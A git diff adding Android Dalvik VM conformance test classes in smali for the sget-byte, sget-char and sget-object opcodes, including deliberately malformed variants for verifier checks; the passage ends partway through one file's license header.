diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_5.smali
new file mode 100644
index 0000000..1c62f08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_5.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_5.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_5;
+.super  Ljava/lang/Object;
+
+.field public i1:B
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const v2, 77
+       iput-byte v2, v3, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_5;->i1:B
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_5;->i1:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_6.smali
new file mode 100644
index 0000000..c7bb8cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_6.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/TestStubs;->TestStubField:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_7.smali
new file mode 100644
index 0000000..fe1b19d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_7.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_7no_class;->i1:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_8.smali
new file mode 100644
index 0000000..511ddc2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_8.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_8;->i1N:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_1.smali
new file mode 100644
index 0000000..3f3ce99
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_1.smali

@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_1.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_1;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+.field protected static p1:C
+.field private static pvt1:C
+
+.method static constructor <clinit>()V
+.registers 1
+       const v0, 77
+       sput-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->i1:C
+
+       const v0, 77
+       sput-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->p1:C
+
+       const v0, 77
+       sput-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->pvt1:C
+
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->i1:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_11.smali
new file mode 100644
index 0000000..27e9213
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_11.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_11;
+.super  Ldot/junit/opcodes/sget_char/d/T_sget_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->p1:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_12.smali
new file mode 100644
index 0000000..3e456a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_12.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_12.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_12;
+.super  Ldot/junit/opcodes/sget_char/d/T_sget_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->pvt1:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_13.smali
new file mode 100644
index 0000000..26671ca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_13.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_13;->i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_15.smali
new file mode 100644
index 0000000..0b565f8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_15.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_15.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_15;->i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_16.smali
new file mode 100644
index 0000000..919555f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_16.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_16;->i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_17.smali
new file mode 100644
index 0000000..d8d5d90
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_17.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_17;->i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_18.smali
new file mode 100644
index 0000000..f3868d7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_18.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_18.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_18;->i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_19.smali
new file mode 100644
index 0000000..aa6b315
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_19.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_19.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_19;->i1:D
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_20.smali
new file mode 100644
index 0000000..979370a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_20.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_20;->i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_3.smali
new file mode 100644
index 0000000..88c30e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_3.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v3, Ldot/junit/opcodes/sget_char/d/T_sget_char_3;->i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_4.smali
new file mode 100644
index 0000000..2fe5687
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_4.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_4;->i1:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_5.smali
new file mode 100644
index 0000000..255251b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_5.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_5.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_5;
+.super  Ljava/lang/Object;
+
+.field public i1:C
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const v2, 77
+       iput-char v2, v3, Ldot/junit/opcodes/sget_char/d/T_sget_char_5;->i1:C
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_5;->i1:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_6.smali
new file mode 100644
index 0000000..8002da1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_6.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/TestStubs;->TestStubField:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_7.smali
new file mode 100644
index 0000000..ae81db9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_7.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_7no_class;->i1:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_8.smali
new file mode 100644
index 0000000..baa0bc3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_8.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_8;->i1N:C
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_11.smali
new file mode 100644
index 0000000..e72bb6b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_11.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_11;
+.super  Ldot/junit/opcodes/sget_object/d/T_sget_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;->p1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_12.smali
new file mode 100644
index 0000000..cf74579
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_12.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_12.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_12;
+.super  Ldot/junit/opcodes/sget_object/d/T_sget_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;->pvt1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_13.smali
new file mode 100644
index 0000000..2defde1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
